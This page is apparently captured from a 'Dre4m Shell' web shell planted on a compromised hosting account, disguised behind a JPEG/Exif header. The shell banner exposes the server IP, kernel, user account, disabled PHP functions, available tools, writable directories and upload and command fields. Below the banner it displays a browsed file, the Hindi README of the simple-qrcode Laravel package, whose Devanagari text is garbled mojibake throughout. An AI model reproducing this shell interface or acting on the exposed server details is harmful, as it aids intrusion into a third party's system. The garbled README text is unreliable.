╪ рJFIF сExifMM* █C  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.217.139.227
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds/vendor/simplesoftwareio/simple-qrcode/docs/hi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds/vendor/simplesoftwareio/simple-qrcode/docs/hi/README.md
Simple QrCode
========================

[![Build Status](https://travis-ci.org/SimpleSoftwareIO/simple-qrcode.svg?branch=master)](https://travis-ci.org/SimpleSoftwareIO/simple-qrcode)
[![Latest Stable Version](https://poser.pugx.org/simplesoftwareio/simple-qrcode/v/stable.svg)](https://packagist.org/packages/simplesoftwareio/simple-qrcode)
[![Latest Unstable Version](https://poser.pugx.org/simplesoftwareio/simple-qrcode/v/unstable.svg)](https://packagist.org/packages/simplesoftwareio/simple-qrcode)
[![License](https://poser.pugx.org/simplesoftwareio/simple-qrcode/license.svg)](https://packagist.org/packages/simplesoftwareio/simple-qrcode)
[![Total Downloads](https://poser.pugx.org/simplesoftwareio/simple-qrcode/downloads.svg)](https://packagist.org/packages/simplesoftwareio/simple-qrcode)

- [рдкрд░рд┐рдЪрдп](#docs-introduction)
- [рдЕрдиреБрд╡рд╛рдж](#docs-translations)
- [рд╡рд┐рдиреНрдпрд╛рд╕](#docs-configuration)
- [рд╕рд╛рдзрд╛рд░рдг рд╡рд┐рдЪрд╛рд░](#docs-ideas)
- [рдЙрдкрдпреЛрдЧ](#docs-usage)
- [рд╕рд╣рд╛рдпрдХ](#docs-helpers)
- [рд╕рд╛рдзрд╛рд░рдг QrCode рдЙрдкрдпреЛрдЧ](#docs-common-usage)
- [рд▓рд░рд╛рд╡реЗрд▓(Laravel) рдХреЗ рдмрд╛рд╣рд░ рдЙрдкрдпреЛрдЧ](#docs-outside-laravel)

<a id="docs-introduction"></a>
## рдкрд░рд┐рдЪрдп
рд╕рд░рд▓ рдХреНрдпреВрдЖрд░рдХреЛрдб [Bacon/BaconQrCode](https://github.com/Bacon/BaconQrCode) рджреНрд╡рд╛рд░рд╛ рдкреНрд░реНрджрд╛рди рдХрд┐рдП рдЧрдпреЗ рдорд╣рд╛рди рдХрд╛рд░реНрдп рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд▓реЛрдХрдкреНрд░рд┐рдп Laravel рдврд╝рд╛рдЪрд╛ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рдиреА рд╕реЗ рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЖрд╡рд░рдг рд╣реИред рд╣рдордиреЗ рд▓рд░рд╛рд╡реЗрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдЪрд┐рдд рд╡ рдЖрд╕рд╛рдиреА рд╕реЗ  рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдПрдХ рдЕрдВрддрд░рдлрд▓рдХ  рдмрдирд╛рдпрд╛ рд╣реИред

<a id="docs-translations"></a>
## рдЕрдиреБрд╡рд╛рдж
рд╣рдореЗ рдЙрдирдХреА рдЦреЛрдЬ рд╣реИ рдЬреЛ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрд░рдмреА, рд╕реНрдкреЗрдирд┐рд╢, рдлреНрд░реЗрдВрдЪ, рдХреЛрд░рд┐рдпрд╛рдИ рдпрд╛ рдЬрд╛рдкрд╛рдиреА рдореЗ рдЕрдиреБрд╡рд╛рдж рдХрд░рдиреЗ рдореЗ рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдПрдХ рдЕрдиреБрд╡рд╛рдж рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ рддреЛ рдХреГрдкрдпрд╛ рдПрдХ рдкреБрд▓ рдЕрдиреБрд░реЛрдз рдмрдирд╛рдП!

<a id="docs-configuration"></a>
## рд╡рд┐рдиреНрдпрд╛рд╕

#### Composer

рд╕рд░реНрд╡рдкреНрд░рдердВ composer.json рдореЗ qrcode рдкреЕрдХреЗрдЬ рдХреЛ рдЕрдкрдиреЗ require рд╕реЗ рдЬреЛрдбрд╝реЗрдВ:

	"require": {
		"simplesoftwareio/simple-qrcode": "~2"
	}

рдлрд┐рд░ composer update рдХрдореЕрдВрдб рдЪрд▓рд╛рдПрдБред

#### Service Provider

###### Laravel <= 5.4
config/app.php рдореЗрдВ providers array рдореЗрдВ SimpleSoftwareIO\QrCode\QrCodeServiceProvider::class рдХреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВред

#### Aliases (рдЙрдкрдирд╛рдо)

###### Laravel <= 5.4
рдЖрдЦрд┐рд░ рдореЗрдВ 'QrCode' => SimpleSoftwareIO\QrCode\Facades\QrCode::class рдХреЛ config/app.php рд╡рд┐рдиреНрдпрд╛рд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ aliases array рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВред

<a id="docs-ideas"></a>
## рд╕рд╛рдзрд╛рд░рдг рд╡рд┐рдЪрд╛рд░

#### Print View (рдкреНрд░рд┐рдВрдЯ рджреЗрдЦреЗрдВ)

рдЗрд╕ рдкреИрдХреЗрдЬ рдХрд╛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рд╣рдо рд╕рднреА print views рдореЗ QrCode рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╣рдорд╛рд░реЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдХреЗ рдХреЗ рдмрд╛рдж рдореВрд▓ рдкреГрд╖реНрда рдкрд░ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорд┐рдд рдХрд░рддрд╛ рд╣реИред рд╣рдордиреЗ рдЕрдкрдиреЗ footer.blade.php рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рдореНрди рдЬреЛрдбрд╝рдХрд░ рдЗрд╕реЗ рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рд╣реИред

	<div class="visible-print text-center">
		{!! QrCode::size(100)->generate(Request::url()); !!}
		<p>Scan me to return to the original page.</p>
	</div>

#### Embed A QrCode

рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдПрдХ рдИ-рдореЗрд▓ рдХреЗ рдЕрдВрджрд░ рдПрдХ qrcode рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд  рд▓рд░рд╛рд╡реЗрд▓ рдХреЗ рд╕рд╛рде рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИред

	//Inside of a blade template.
	<img src="{!!$message->embedData(QrCode::format('png')->generate('Embed me into an e-mail!'), 'QrCode.png', 'image/png')!!}">

<a id="docs-usage"></a>
## рдЙрдкрдпреЛрдЧ

#### Basic Usage (рд╕рд╛рдзрд╛рд░рдг рдЙрдкрдпреЛрдЧ)

QrCode Generator рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреЗрд╣рдж рдЖрд╕рд╛рди рд╣реИ:

	QrCode::generate('Make me into a QrCode!');

рдЗрд╕рд╕реЗ qrcode рдХрд╣реЗрдЧрд╛ рд╣реИ рдХрд┐  "рдореБрдЭреЗ рдПрдХ qrcode рдореЗрдВ рдмрдирд╛рдУ!"

#### Generate

Generate QrCode рдмрдирд╛рдиреЗ рдХреЗ рдХрд╛рдо рдЖрддрд╛ рд╣реИред

	QrCode::generate('Make me into a QrCode!');

>рд╕рдЪреЗрдд! рдпрд╣ рд╡рд┐рдзрд┐ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЕрдВрддрд┐рдо рдореЗрдВ рдкреБрдХрд╛рд░реА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред
`рдЬреЗрдирд░реЗрдЯ` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ SVG рдЫрд╡рд┐ рдХреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓реМрдЯрддрд╛ рд╣реИред рдЖрдк рдЗрд╕реЗ рд╕реАрдзреЗ рд╣реА Laravel's Blade system рд╕реЗ рдирд┐рдореНрди рдкреНрд░рдХрд╛рд░ рд╕реЗ  рдХрд┐рд╕реА рднреА рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗ рдкреНрд░рд┐рдВрдЯ рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВ:

	{!! QrCode::generate('Make me into a QrCode!'); !!}

рдЙрддреНрдкрдиреНрди рд╡рд┐рдзрд┐ рдХрд╛ рдПрдХ рджреВрд╕рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИ рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдФрд░ рдкрде QrCode рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред

	QrCode::generate('Make me into a QrCode!', '../public/qrcodes/qrcode.svg');

#### Format Change(рдкреНрд░рд╛рд░реВрдк рдмрджрд▓реЗрдВ)

>QrCode Generator рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ SVG рдЪрд┐рддреНрд░ рд▓реМрдЯрд╛рддрд╛ рд╣реИ.

>рдзреНрдпрд╛рди рд░рд╣реЗ! `format` рдХреА рд╡рд┐рдзрд┐ рдХреЛ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рд╕реНрд╡рд░реВрдкрдг рд╡рд┐рдХрд▓реНрдк рдЬреИрд╕реЗ рдХрд┐ `size`, `color`, `backgroundColor`, рд╡ `margin` рд╕реЗ рдкрд╣рд▓реЗ рд╣реА рдХреЙрд▓ рдХрд░реЗрдВ.

рдирд┐рдореНрди рддреАрди рд╕реНрд╡рд░реВрдк рд╡рд░реНрддрдорд╛рди рдореЗ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ; PNG, EPS, рдФрд░ SVG.  рдирд┐рдореНрди рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

	QrCode::format('png');  //Will return a PNG image
	QrCode::format('eps');  //Will return a EPS image
	QrCode::format('svg');  //Will return a SVG image

#### Size Change (рдЖрдХрд╛рд░ рдмрджрд▓)

>QrCode Generator рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреА рд╕рдВрднрд╡ рдЖрдХрд╛рд░ рд╕реЗ QrCode рдмрдирд╛рдПрдЧред

рдЖрдк `рдЖрдХрд╛рд░` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдПрдХ QRCode рдХрд╛ рдЖрдХрд╛рд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдмрд╕ рдирд┐рдореНрди рд╡рд╛рдХреНрдп-рд╡рд┐рдиреНрдпрд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд┐рдХреНрд╕рд▓ рдореЗ рд╡рд╛рдВрдЫрд┐рдд рдЖрдХрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ:

	QrCode::size(100);

#### Color Change (рд░рдВрдЧ рдХрд╛ рдмрджрд▓рдирд╛)

>QrCode рдХрд╛ рд░рдВрдЧ рдмрджрд▓рддреЗ рд╕рдордп рд╕рддрд░реНрдХ рд░рд╣реЗрдВред рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднрд┐рдиреНрди рд░рдВрдЧреЛрдВ рдореЗ QrCode рдкрдврд╝рдиреЗ рдореЗ рдХрдард┐рдирд╛рдИ рд╣реЛрддреА рд╣реИред

рд╕рднреА рд░рдВрдЧреЛрдВ рдХреЛ RGB(рд▓рд╛рд▓ рд╣рд░рд╛ рдиреАрд▓рд╛) рдореЗ рд╡реНрдпрдХреНрдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ QrCode рдХрд╛ рд░рдВрдЧ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ:

	QrCode::color(255,0,255);

рдкреГрд╖реНрдарднреВрдорд┐ рд░рдВрдЧ рдкрд░рд┐рд╡рд░реНрддрди рднреА рдЗрд╕ рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╡реНрдпрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

	QrCode::backgroundColor(255,255,0);

#### Size Change (рд╣рд╛рд╢рд┐рдпрд╛ рдкрд░рд┐рд╡рд░реНрддрди)

рдПрдХ QrCode рдХреЗ рдЖрд╕рдкрд╛рд╕ рд╣рд╛рд╢рд┐рдпрд╛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рднреА рдкреНрд░рджрд╛рди рдХреА рдЧрдпреА рд╣реИред рдЗрдЪреНрдЫрд┐рдд рд╣рд╛рд╢рд┐рдпрд╛ рдирд┐рдореНрди рд╡рд╛рдХреНрдп-рд╡рд┐рдиреНрдпрд╛рд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡реНрдпрдХреНрдд рдХрд░реЗрдВ:

	QrCode::margin(100);

#### Error Correction (рддреНрд░реБрдЯрд┐ рд╕реБрдзрд╛рд░)

рддреНрд░реБрдЯрд┐ рд╕реБрдзрд╛рд░ рдХреЗ рд╕реНрддрд░ рдХреЛ рдмрджрд▓рдирд╛ рднреА рдЖрд╕рд╛рди рд╣реИред  рдирд┐рдореНрди рд╡рд╛рдХреНрдп - рд╡рд┐рдиреНрдпрд╛рд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЪрд▓реЗрдВ:

	QrCode::errorCorrection('H');

`errorCorrection` рдХреА рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рд╡рд┐рдХрд▓реНрдк рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ:

| рдЧрд▓рддреАрдпреЛрдВ рдХрд╛ рд╕реБрдзрд╛рд░ | рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЖрд╢реНрд╡рд╛рд╕рди |
| --- | --- |
| L | 7%  codewords рдореЗрдВ рд╕реЗ рдмрд╣рд╛рд▓ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред |
| M | 15%  codewords рдореЗрдВ рд╕реЗ рдмрд╣рд╛рд▓ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред |
| Q | 25%  codewords рдореЗрдВ рд╕реЗ рдмрд╣рд╛рд▓ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред |
| H | 30%  codewords рдореЗрдВ рд╕реЗ рдмрд╣рд╛рд▓ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред |

>рдЕрдзрд┐рдХ рддреНрд░реБрдЯрд┐ рд╕реБрдзрд╛рд░ рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ QrCode рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХрдо рд╕реВрдЪрдирд╛ рдЬрдорд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред [рддреНрд░реБрдЯрд┐ рд╕реБрдзрд╛рд░](http://en.wikipedia.org/wiki/QR_code#Error_correction) рдХреЗ рдмрд╛рд░реЗ рдореЗ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВред

#### Encoding(рдПрдиреНрдХреЛрдбрд┐рдВрдЧ)

рд╡рд░реНрдг рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЛ рдмрджрд▓реЗрдВ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рдпреЛрдЧ QrCode рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП  рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `ISO-8859-1` рдПрдирдХреЛрдбрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрдпрдирд┐рдд рд╣реИред[рд╡рд░реНрдг рдПрдирдХреЛрдбрд┐рдВрдЧ](http://en.wikipedia.org/wiki/Character_encoding) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВред рдЖрдк рдирд┐рдореНрди рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ:

	QrCode::encoding('UTF-8')->generate('Make me a QrCode with special symbols тЩатЩе!!');

| рд╡рд░реНрдг рдПрдирдХреЛрдбрд░ |
| --- |
| ISO-8859-1 |
| ISO-8859-2 |
| ISO-8859-3 |
| ISO-8859-4 |
| ISO-8859-5 |
| ISO-8859-6 |
| ISO-8859-7 |
| ISO-8859-8 |
| ISO-8859-9 |
| ISO-8859-10 |
| ISO-8859-11 |
| ISO-8859-12 |
| ISO-8859-13 |
| ISO-8859-14 |
| ISO-8859-15 |
| ISO-8859-16 |
| SHIFT-JIS |
| WINDOWS-1250 |
| WINDOWS-1251 |
| WINDOWS-1252 |
| WINDOWS-1256 |
| UTF-16BE |
| UTF-8 |
| ASCII |
| GBK |
| EUC-KR |

>`Could not encode content to ISO-8859-1` рддреНрд░реБрдЯрд┐ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЧрд╝рд▓рдд рд╡рд░реНрдг рдПрдирдХреЛрдб рдХрд╛ рдкреНрд░рдХрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред  рдпрджрд┐ рдЖрдк рдЕрдирд┐рд╢реНрдЪрд┐рдд рд╣реИрдВ рддреЛ рд╣рдорд╛рд░рд╛ рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ `UTF-8` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

#### Merge(рд╡рд┐рд▓рдп)

`рдорд░реНрдЬ` рд╡рд┐рдзрд┐ рдПрдХ QrCode рдкрд░ рдПрдХ рдЫрд╡рд┐ рд╡рд┐рд▓реАрди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдПрдХ QrCode рдХреЗ рднреАрддрд░ рд▓реЛрдЧреЛ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

	QrCode::merge($filename, $percentage, $absolute);
	
	//Generates a QrCode with an image centered in the middle.
	QrCode::format('png')->merge('path-to-image.png')->generate();
	
	//Generates a QrCode with an image centered in the middle.  The inserted image takes up 30% of the QrCode.
	QrCode::format('png')->merge('path-to-image.png', .3)->generate();
	
	//Generates a QrCode with an image centered in the middle.  The inserted image takes up 30% of the QrCode.
	QrCode::format('png')->merge('http://www.google.com/someimage.png', .3, true)->generate();

>`рдорд░реН`рдЬ рд╡рд┐рдзрд┐ рдореЗрдВ рдЕрднреА рдХреЗрд╡рд▓ PNG рд╣реА рд╕рдорд░реНрдерд┐рдд рд╣реИред
>filepath app, base path рд╕реЗ рд╕рд╛рдкреЗрдХреНрд╖рд┐рдд рд╣реИ рдпрджрд┐ `$absolute` рд╕реЗрдЯ рд╣реИ `false` рдкрд░ред  рдЗрд╕реЗ `true` рд╕реЗ рдмрджрд▓реЗрдВ absolute paths рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдПред

>рдЖрдкрдХреЛ `merge` рд╡рд┐рдзрд┐ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддреЗ рд╕рдордп рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреЗ рддреНрд░реБрдЯрд┐ рд╕реБрдзрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред  рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ `errorCorrection('H')` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

![Merged Logo](https://raw.githubusercontent.com/SimpleSoftwareIO/simple-qrcode/master/docs/imgs/merged-qrcode.png?raw=true)

#### Merge Binary String(рджреНрд╡рд┐рдЖрдзрд╛рд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рд╡рд┐рд▓рдп)

`mergeString` рд╡рд┐рдзрд┐ `рдорд░реНрдЬ рдХреЙрд▓` рд╡рд╛рд▓реЗ рд╣реА рдкрд░рд┐рдгрд╛рдо рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдЗрд╕рдореЗ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреА рдмрдЬрд╛рдп рдлрд╛рдЗрд▓ рдХреА рдПрдХ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рджрд╛рди рдХрд░рдиреА рд╣реЛрддреА рд╣реИред рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм `рд╕реНрдЯреЛрд░реЗрдЬ` рдореБрдЦреМрдЯреЗ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЗрдВрдЯрд░рдлреЗрд╕ рдорд░реНрдЬ рдХреЙрд▓ рдХреА рддрд░рд╣ рд╣реА рд╣реИред

	QrCode::mergeString(Storage::get('path/to/image.png'), $percentage);
	
	//Generates a QrCode with an image centered in the middle.
	QrCode::format('png')->mergeString(Storage::get('path/to/image.png'))->generate();
	
	//Generates a QrCode with an image centered in the middle.  The inserted image takes up 30% of the QrCode.
	QrCode::format('png')->mergeString(Storage::get('path/to/image.png'), .3)->generate();

>As with the normal `merge` call, only PNG is supported at this time. The same applies for error correction, high levels are recommened.

#### Advance Usage(рдЕрдЧреНрд░рд┐рдо рдЙрдкрдпреЛрдЧ)

рд╕рднреА рддрд░реАрдХреЗ рд╢реНрд░реГрдВрдЦрд▓рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред `generate` рддрд░реАрдХрд╛ рдЕрдВрдд рдореЗ рдХреЙрд▓ рдХрд░рдирд╛ рддрдерд╛ рддрд░реАрдХрд╛ рдХреЛрдИ `format` рдХрд╛ рдмрджрд▓рд╛рд╡ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЬреИрд╕реЗ рдХреА рдЖрдк рдирд┐рдореНрди рдореЗ рд╕реЗ рдХреЛрдИ рднреА рд░рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

	QrCode::size(250)->color(150,90,10)->backgroundColor(10,14,244)->generate('Make me a QrCode!');
	QrCode::format('png')->size(399)->color(40,40,40)->generate('Make me a QrCode!');

рдЖрдк рдмрд┐рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░реЗ, рдХрдЪреНрдЪреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡ `base64_encode` рдХреА рдПрдиреНрдХреЛрдбреЗрдВрдЧ рджреЗрдХрд░ рднреА PNG рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

	<img src="data:image/png;base64, {!! base64_encode(QrCode::format('png')->size(100)->generate('Make me into an QrCode!')) !!} ">

<a id="docs-helpers"></a>
## рд╕рд╣рд╛рдпрдХ

#### рд╕рд╣рд╛рдпрдХ рдХреНрдпрд╛ рд╣реИ ?

рд╕рд╣рд╛рдпрдХ QrCode рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рдХрд╛ рд╕рд╛рдзрд╛рд░рдг рддрд░реАрдХрд╛ рд╣реИ рдЬреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдкрд░ рдкрд╛рдардХ рд╕реЗ рдирд┐рд╢реНрдЪрд┐рдд рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░рд╡рд╛рддреЗ рд╣реИрдВред

#### E-Mail (рдИ-рдореЗрд▓)

рдпрд╣ рд╕рд╣рд╛рдпрдХ рдИ-рдореЗрд▓ qrcode рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдИ-рдореЗрд▓ рдХрд╛ рдкрддрд╛, рд╡рд┐рд╖рдп рддрдерд╛ рд╢рд░реАрд░ рднрд░рдиреЗ рдореЗ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред

	QrCode::email($to, $subject, $body);
	
	//Fills in the to address
	QrCode::email('foo@bar.com');
	
	//Fills in the to address, subject, and body of an e-mail.
	QrCode::email('foo@bar.com', 'This is the subject.', 'This is the message body.');
	
	//Fills in just the subject and body of an e-mail.
	QrCode::email(null, 'This is the subject.', 'This is the message body.');
	
#### Geo (рдЬрд┐рдпреЛ)

рдпрд╣ рд╕рд╣рд╛рдпрдХ рдЕрдХреНрд╖рд╛рдВрд╢ рд╡ рджреЗрд╢рд╛рдиреНрддрд░ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдлреЛрди рдкрдврд╝ рд╡ Google Maps (рдЧреВрдЧрд▓ рдорд╛рдВрдЪрд┐рддреНрд░) рдпрд╛ рдЕрдиреНрдп app рдореЗ рдЦреЛрд▓ рд╕рдХрддрд╛ рд╣реИред

	QrCode::geo($latitude, $longitude);
	
	QrCode::geo(37.822214, -122.481769);
	
#### Phone Number (рдлрд╝реЛрди рдирдВрдмрд░)

рдЗрд╕ рд╕рд╣рд╛рдпрдХ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрддрдкрдиреНтАНрди qrCode рд╕реНрдХреИрди рдХрд░рдиреЗ рдкрд░ рдирдВрдмрд░ рдбрд╛рдпрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

	QrCode::phoneNumber($phoneNumber);
	
	QrCode::phoneNumber('555-555-5555');
	QrCode::phoneNumber('1-800-Laravel');
	
#### SMS (рдкрд╛рда рд╕рдВрджреЗрд╢)

рдЗрд╕ рд╕рд╣рд╛рдпрдХ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрддрдкрдиреНтАНрди QrCode рд╕реНрдХреИрди рдХрд░рдиреЗ рдкрд░ SMS рд╕рдВрджреЗрд╢ рдХрд╛ рднреЗрдЬрдиреЗ рдХрд╛ рдкрддрд╛ рддрдерд╛ рд╕рдВрджреЗрд╢ рдХрд╛ рд╢рд░реАрд░ рдкрд╣рд▓реЗ рд╕реЗ рднрд░рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

	QrCode::SMS($phoneNumber, $message);
	
	//Creates a text message with the number filled in.
	QrCode::SMS('555-555-5555');
	
	//Creates a text message with the number and message filled in.
	QrCode::SMS('555-555-5555', 'Body of the message');

#### Wi-Fi (рд╡рд╛рдИ-рдлрд╛рдИ)

рдЗрд╕ рд╕рд╣рд╛рдпрдХ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрддрдкрдиреНтАНрди qrCode рд╕реНрдХреИрди рдХрд░рдиреЗ рдкрд░ рд╡рд╛рдИрдлрд╛рдИ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдЬреБрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

	QrCode::wiFi([
		'encryption' => 'WPA/WEP',
		'ssid' => 'SSID of the network',
		'password' => 'Password of the network',
		'hidden' => 'Whether the network is a hidden SSID or not.'
	]);
	
